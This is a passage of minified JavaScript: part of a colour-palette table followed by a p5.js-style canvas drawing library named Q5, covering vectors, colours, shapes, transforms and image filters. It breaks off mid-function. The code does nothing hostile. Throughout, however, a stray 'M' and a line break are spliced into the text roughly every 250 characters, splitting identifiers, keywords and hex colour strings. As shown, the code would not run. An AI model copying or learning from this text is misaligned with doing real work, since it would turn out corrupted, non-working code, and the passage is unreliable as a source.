["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
